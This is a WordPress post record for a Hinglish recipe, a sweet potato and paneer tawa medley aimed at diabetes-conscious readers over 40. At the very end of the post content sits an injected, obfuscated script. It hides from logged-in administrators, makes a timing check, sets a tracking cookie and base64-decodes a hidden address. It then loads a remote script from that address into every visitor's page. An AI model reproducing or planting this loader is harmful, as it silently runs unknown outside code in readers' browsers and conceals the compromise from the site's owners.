{"id":502,"date":"2026-02-11T19:22:04","date_gmt":"2026-02-11T13:52:04","guid":{"rendered":"https:\/\/simplereceipes.in\/?p=502"},"modified":"2026-04-07T13:57:47","modified_gmt":"2026-04-07T08:27:47","slug":"sweet-potato-paneer-tawa-medley-recipe","status":"publish","type":"post","link":"https:\/\/simplereceipes.in\/en\/sweet-potato-paneer-tawa-medley-recipe\/","title":{"rendered":"Sweet potato &amp; paneer tawa medley recipe"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\"> Sweet Potato &amp; Paneer Tawa Medley:<\/h1>\n\n\n\n<p> <strong>Sweet potato &amp; paneer tawa medley recipe<\/strong> Gen X \u0915\u0947 \u0932\u093f\u090f specially designed \u090f\u0915 healthy, sugar-control friendly Indian dish \u0939\u0948, \u091c\u094b taste \u0914\u0930 nutrition \u0915\u093e perfect balance \u092c\u0928\u093e\u0924\u0940 \u0939\u0948\u0964 \u0906\u091c \u0915\u0940 fast lifestyle \u092e\u0947\u0902 40+ age group \u0915\u0947 \u0932\u094b\u0917\u094b\u0902 \u0915\u094b \u0910\u0938\u0947 \u092d\u094b\u091c\u0928 \u0915\u0940 \u091c\u0930\u0942\u0930\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948 \u091c\u094b <strong>low oil, high protein, easy digestion<\/strong> \u0914\u0930 blood sugar friendly \u0939\u094b\u0964 \u092f\u0939 recipe sweet potato \u0915\u0940 natural sweetness \u0914\u0930 paneer \u0915\u0940 creamy texture \u0915\u0947 \u0938\u093e\u0925 \u090f\u0915 smart, wholesome meal option \u0926\u0947\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p>Sweet potato &amp; paneer tawa medley recipe : \u092f\u0939 dish \u0916\u093e\u0938\u0924\u094c\u0930 \u092a\u0930 \u0909\u0928 \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f useful \u0939\u0948 \u091c\u094b diabetes control, weight management \u0914\u0930 heart-friendly Indian food \u0915\u0940 \u0924\u0932\u093e\u0936 \u092e\u0947\u0902 \u0939\u0948\u0902, \u0932\u0947\u0915\u093f\u0928 \u0938\u094d\u0935\u093e\u0926 \u0938\u0947 \u0915\u094b\u0908 compromise \u0928\u0939\u0940\u0902 \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947\u0964 Gen X \u0915\u0947 \u0932\u093f\u090f Healthy Cooking \u0915\u094d\u092f\u094b\u0902 \u091c\u093c\u0930\u0942\u0930\u0940 \u0939\u0948?<\/p>\n\n\n\n<p>Gen X \u0935\u0939 generation \u0939\u0948 \u091c\u093f\u0938\u0928\u0947<br>\u0918\u0930 \u0915\u093e \u0938\u093e\u0926\u093e, seasonal \u0916\u093e\u0928\u093e \u092d\u0940 \u0916\u093e\u092f\u093e<br>\u0914\u0930 processed food \u0915\u093e \u0926\u094c\u0930 \u092d\u0940 \u0926\u0947\u0916\u093e\u0964<\/p>\n\n\n\n<p>\u0906\u091c Gen X \u0915\u0940 common problems \u0939\u0948\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Blood sugar fluctuation<\/li>\n\n\n\n<li>Weight gain<\/li>\n\n\n\n<li>Acidity \u0914\u0930 digestion issues<\/li>\n\n\n\n<li>Joint pain \u0914\u0930 low energy<\/li>\n\n\n\n<li>Long working hours + \u0915\u092e physical activity<\/li>\n<\/ul>\n\n\n\n<p>\u0907\u0938\u0940\u0932\u093f\u090f \u0906\u091c \u0916\u093e\u0928\u093e \u0910\u0938\u093e \u0939\u094b\u0928\u093e \u091a\u093e\u0939\u093f\u090f \u091c\u094b:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0938\u094d\u0935\u093e\u0926 \u092e\u0947\u0902 satisfying \u0939\u094b<\/li>\n\n\n\n<li>Sugar spike \u0928 \u0915\u0930\u0947<\/li>\n\n\n\n<li>\u0915\u092e \u0924\u0947\u0932 \u092e\u0947\u0902 \u092c\u0928\u0947<\/li>\n\n\n\n<li>\u0930\u094b\u091c\u093c \u0915\u0947 \u0916\u093e\u0928\u0947 \u092e\u0947\u0902 \u0936\u093e\u092e\u093f\u0932 \u0915\u093f\u092f\u093e \u091c\u093e \u0938\u0915\u0947<\/li>\n<\/ul>\n\n\n\n<p><strong>Sweet potato &amp; paneer tawa medley recipe<\/strong><br>\u0907\u0938\u0940 philosophy \u092a\u0930 based recipe \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092f\u0939 \u0915\u094b\u0908 fancy restaurant dish \u0928\u0939\u0940\u0902,<br>\u092c\u0932\u094d\u0915\u093f <strong>modern Indian home-style meal<\/strong> \u0939\u0948<br>\u091c\u094b Gen X \u0915\u0940 body \u0914\u0930 lifestyle \u0926\u094b\u0928\u094b\u0902 \u0915\u094b suit \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What is Sweet Potato &amp; Paneer Tawa Medley?<\/h2>\n\n\n\n<p>\u092f\u0939 \u090f\u0915 <strong>dry + semi-coated tawa dish<\/strong> \u0939\u0948 \u091c\u093f\u0938\u092e\u0947\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sweet potato (natural complex carb)<\/li>\n\n\n\n<li>Paneer (high-quality vegetarian protein)<\/li>\n\n\n\n<li>Mild Indian spices<\/li>\n\n\n\n<li>Very little oil<\/li>\n<\/ul>\n\n\n\n<p>\u0915\u094b combine \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092f\u0939 Sweet potato &amp; paneer tawa medley recipe:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Gravy-less \u0939\u0948 (isliye digestion easy)<\/li>\n\n\n\n<li>Lunch \u092f\u093e light dinner \u0926\u094b\u0928\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f perfect \u0939\u0948<\/li>\n\n\n\n<li>Diabetic-friendly cooking approach follow \u0915\u0930\u0924\u0940 \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Why Sweet Potato is Better than Regular Potato for Gen X<\/h2>\n\n\n\n<p>\u0905\u0915\u094d\u0938\u0930 \u0932\u094b\u0917 \u092a\u0942\u091b\u0924\u0947 \u0939\u0948\u0902:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u201cSweet potato \u092e\u0940\u0920\u093e \u0939\u094b\u0924\u093e \u0939\u0948, \u092b\u093f\u0930 sugar control \u092e\u0947\u0902 \u0915\u0948\u0938\u0947?\u201d<\/p>\n<\/blockquote>\n\n\n\n<p>\u0938\u091a\u094d\u091a\u093e\u0908 \u092f\u0939 \u0939\u0948 \u0915\u093f:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Sweet Potato Benefits:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Low to medium Glycemic Index<\/li>\n\n\n\n<li>Fiber rich \u2192 sugar absorption slow<\/li>\n\n\n\n<li>Gut-friendly carb<\/li>\n\n\n\n<li>Long-lasting energy<\/li>\n<\/ul>\n\n\n\n<p>\u091c\u092c\u0915\u093f regular potato:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>High GI \u0939\u094b\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>Blood sugar \u0924\u0947\u091c\u0940 \u0938\u0947 \u092c\u0922\u093c\u093e \u0938\u0915\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<p>\u0907\u0938\u0932\u093f\u090f <strong>controlled portion \u092e\u0947\u0902 sweet potato<\/strong>,<br>Gen X \u0914\u0930 diabetic-prone \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092c\u0947\u0939\u0924\u0930 option \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Paneer: Gen X \u0915\u0947 \u0932\u093f\u090f Protein \u0915\u093e \u092d\u0930\u094b\u0938\u0947\u092e\u0902\u0926 Source<\/h2>\n\n\n\n<p>40+ age \u0915\u0947 \u092c\u093e\u0926:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Muscle mass naturally \u0915\u092e \u0939\u094b\u0928\u0947 \u0932\u0917\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>Protein requirement \u092c\u0922\u093c \u091c\u093e\u0924\u0940 \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<p>Paneer:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Easy to digest protein \u0939\u0948<\/li>\n\n\n\n<li>Vegetarian \u0939\u094b\u0928\u0947 \u0915\u0947 \u092c\u093e\u0935\u091c\u0942\u0926 complete amino profile \u0926\u0947\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>Bones \u0914\u0930 muscles \u0915\u094b support \u0915\u0930\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<p>\u0907\u0938 recipe \u092e\u0947\u0902 paneer <strong>deep fry \u0928\u0939\u0940\u0902 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e<\/strong>,<br>\u0907\u0938\u0932\u093f\u090f \u092f\u0939 heavy \u0928\u0939\u0940\u0902 \u0932\u0917\u0924\u093e\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ingredients (Serves 2)<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Main Ingredients:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sweet potato \u2013 1 large (boiled, peeled, cubed)<\/li>\n\n\n\n<li>Paneer \u2013 150 grams (medium cubes)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Vegetables (Optional but recommended):<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Capsicum \u2013 \u00bd cup (cubed)<\/li>\n\n\n\n<li>Onion \u2013 \u00bd medium (optional for digestion)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Spices (Mild &amp; Sugar-Friendly):<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Cumin seeds \u2013 \u00bd tsp<\/li>\n\n\n\n<li>Turmeric powder \u2013 \u00bc tsp<\/li>\n\n\n\n<li>Coriander powder \u2013 1 tsp<\/li>\n\n\n\n<li>Black pepper powder \u2013 \u00bd tsp<\/li>\n\n\n\n<li>Red chilli powder \u2013 a pinch (optional)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Fat &amp; Seasoning:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Cold-pressed groundnut oil \/ mustard oil \u2013 1 tbsp<\/li>\n\n\n\n<li>Salt \/ rock salt \u2013 as per requirement<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Garnish:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Fresh coriander<\/li>\n\n\n\n<li>Lemon juice (few drops)<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Step-by-Step Cooking Method<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Step 1: Preparing Sweet Potato Correctly<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sweet potato \u0915\u094b \u0905\u091a\u094d\u091b\u0940 \u0924\u0930\u0939 \u0927\u094b\u0915\u0930 \u0909\u092c\u093e\u0932 \u0932\u0947\u0902<\/li>\n\n\n\n<li>Overcook \u0928 \u0915\u0930\u0947\u0902 \u2014 \u092c\u0938 fork easily enter \u0939\u094b \u091c\u093e\u090f<\/li>\n\n\n\n<li>Peel \u0915\u0930\u0915\u0947 medium cubes \u092e\u0947\u0902 \u0915\u093e\u091f\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u091c\u094d\u092f\u093e\u0926\u093e soft sweet potato tawa \u092a\u0930 \u091f\u0942\u091f \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 2: Paneer Softening Tip (Very Important for Gen X)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Paneer cubes \u0915\u094b 5 \u092e\u093f\u0928\u091f \u0939\u0932\u094d\u0915\u0947 \u0917\u0941\u0928\u0917\u0941\u0928\u0947 \u092a\u093e\u0928\u0940 \u092e\u0947\u0902 \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>\u0907\u0938\u0938\u0947 paneer soft \u0930\u0939\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>Digestion \u0906\u0938\u093e\u0928 \u0939\u094b\u0924\u0940 \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 3: Tawa Cooking Begins<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Heavy tawa \u092f\u093e non-stick pan \u0917\u0930\u092e \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>1 tbsp oil \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>Cumin seeds \u0921\u093e\u0932\u0915\u0930 crack \u0939\u094b\u0928\u0947 \u0926\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u0905\u092c:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Onion \u0921\u093e\u0932\u0947\u0902 (\u0905\u0917\u0930 use \u0915\u0930 \u0930\u0939\u0947 \u0939\u0948\u0902)<\/li>\n\n\n\n<li>Light translucent \u0939\u094b\u0928\u0947 \u0924\u0915 \u092a\u0915\u093e\u090f\u0901<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 4: Sweet Potato Roasting<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sweet potato cubes \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>Medium flame \u092a\u0930 \u0939\u0932\u094d\u0915\u093e golden \u0939\u094b\u0928\u0947 \u0926\u0947\u0902<\/li>\n\n\n\n<li>\u092c\u093e\u0930-\u092c\u093e\u0930 \u0928 \u091a\u0932\u093e\u090f\u0901<\/li>\n<\/ul>\n\n\n\n<p>\u092f\u0939 step natural sweetness \u0915\u094b enhance \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 5: Spices &amp; Veggies Integration<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Turmeric<\/li>\n\n\n\n<li>Coriander powder<\/li>\n\n\n\n<li>Black pepper<\/li>\n\n\n\n<li>Very little chilli (optional)<\/li>\n<\/ul>\n\n\n\n<p>\u0905\u092c capsicum \u0921\u093e\u0932\u0947\u0902<br>2\u20133 \u092e\u093f\u0928\u091f toss \u0915\u0930\u0947\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 6: Paneer Addition (Final Stage)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Paneer cubes \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>Salt add \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>Very gently toss \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<p>Paneer \u0915\u094b \u091c\u094d\u092f\u093e\u0926\u093e \u091a\u0932\u093e\u0928\u093e \u0928\u0939\u0940\u0902 \u0939\u0948,<br>\u0935\u0930\u0928\u093e \u091f\u0942\u091f \u091c\u093e\u090f\u0917\u093e\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 7: Finishing Touch<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Flame off \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>Fresh coriander \u0921\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>Lemon juice \u0915\u0947 few drops<\/li>\n<\/ul>\n\n\n\n<p>\u092c\u0938!<br><strong>Sweet Potato &amp; Paneer Tawa Medley<\/strong> ready \u0939\u0948 <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-14-1024x576.jpg\" alt=\"Sweet potato &amp; paneer tawa medley recipe\" class=\"wp-image-505\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-14-1024x576.jpg 1024w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-14-300x169.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-14-768x432.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-14-18x10.jpg 18w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Untitled-design-14.jpg 1366w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><strong>Sweet potato &amp; paneer tawa medley recipe<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Taste &amp; Texture Profile (Gen X Friendly)<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Mildly spiced<\/li>\n\n\n\n<li>Naturally sweet + savory<\/li>\n\n\n\n<li>Soft paneer + lightly crisp sweet potato<\/li>\n\n\n\n<li>No oily after-feel<\/li>\n<\/ul>\n\n\n\n<p>\u092f\u0939 dish:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u0947\u091f \u092a\u0930 \u092d\u093e\u0930\u0940 \u0928\u0939\u0940\u0902 \u0932\u0917\u0924\u0940<\/li>\n\n\n\n<li>Acid reflux trigger \u0928\u0939\u0940\u0902 \u0915\u0930\u0924\u0940<\/li>\n\n\n\n<li>Dinner \u0915\u0947 \u092c\u093e\u0926 \u092d\u0940 comfortable feel \u0926\u0947\u0924\u0940 \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Health Benefits for Gen X<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Blood Sugar Control<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Fiber slows glucose absorption<\/li>\n\n\n\n<li>No refined sugar<\/li>\n\n\n\n<li>No maida<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Weight Management<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>High satiety<\/li>\n\n\n\n<li>Portion control easy<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Muscle &amp; Bone Support <a href=\"https:\/\/simplereceipes.in\/recipes\/\" data-type=\"page\" data-id=\"229\">Recipes<\/a><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Paneer protein<\/li>\n\n\n\n<li>Calcium intake<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Gut Health<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>No heavy gravy<\/li>\n\n\n\n<li>Minimal spices<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Best Time to Eat This Recipe<\/h2>\n\n\n\n<p><a href=\"http:\/\/who.int (WHO)\">http:\/\/who.int (WHO)<\/a><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Office lunch (roti + medley)<\/li>\n\n\n\n<li>Light dinner with salad<\/li>\n\n\n\n<li>Post-walk meal<\/li>\n\n\n\n<li>Weekend healthy plate<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">What to Serve With This Dish<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Multigrain roti<\/li>\n\n\n\n<li>Jowar \/ bajra roti<\/li>\n\n\n\n<li>Plain curd<\/li>\n\n\n\n<li>Fresh green salad<\/li>\n<\/ul>\n\n\n\n<p>Avoid rice if sugar control is priority.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Sweet potato &amp; paneer tawa medley recipe: Variations<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Diabetic-Strict Version<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Onion skip \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>Sweet potato portion \u0925\u094b\u0921\u093c\u093e \u0915\u092e<\/li>\n\n\n\n<li>Extra paneer add \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> Vegan Version<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Paneer \u0915\u0940 \u091c\u0917\u0939 firm tofu<\/li>\n\n\n\n<li>Same method follow \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> Jain Version<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Onion skip<\/li>\n\n\n\n<li>Hing + ginger use \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> Millet Pairing Option<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Side \u092e\u0947\u0902 millet roti serve \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>Complete Gen X balanced meal \u092c\u0928\u0947\u0917\u093e<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Sweet potato &amp; paneer tawa medley recipe :Common Mistakes to Avoid<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sweet potato overcook \u0915\u0930\u0928\u093e<\/li>\n\n\n\n<li>Paneer fry \u0915\u0930\u0928\u093e<\/li>\n\n\n\n<li>Too much oil<\/li>\n\n\n\n<li>Heavy garam masala use \u0915\u0930\u0928\u093e<\/li>\n<\/ul>\n\n\n\n<p>\u092f\u0947 \u0938\u092c sugar spike \u0914\u0930 digestion issues \u092a\u0948\u0926\u093e \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902.<\/p>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Sweet Potato &amp; Paneer Tawa Medley: Sweet potato &amp; paneer tawa medley recipe Gen X \u0915\u0947 \u0932\u093f\u090f specially designed \u090f\u0915 healthy, sugar-control friendly Indian dish \u0939\u0948, \u091c\u094b taste \u0914\u0930 nutrition \u0915\u093e perfect balance \u092c\u0928\u093e\u0924\u0940 \u0939\u0948\u0964 \u0906\u091c \u0915\u0940 fast lifestyle \u092e\u0947\u0902 40+ age group \u0915\u0947 \u0932\u094b\u0917\u094b\u0902 \u0915\u094b \u0910\u0938\u0947 \u092d\u094b\u091c\u0928 \u0915\u0940 \u091c\u0930\u0942\u0930\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948 \u091c\u094b low oil, &#8230; <a title=\"Sweet potato &amp; paneer tawa medley recipe\" class=\"read-more\" href=\"https:\/\/simplereceipes.in\/en\/sweet-potato-paneer-tawa-medley-recipe\/\" aria-label=\"Read more about Sweet potato &amp; paneer tawa medley recipe\">Read more<\/a><\/p>","protected":false},"author":1,"featured_media":505,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-502","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-receipes"],"_links":{"self":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/502","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/comments?post=502"}],"version-history":[{"count":11,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/502\/revisions"}],"predecessor-version":[{"id":963,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/502\/revisions\/963"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media\/505"}],"wp:attachment":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media?parent=502"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/categories?post=502"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/tags?post=502"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}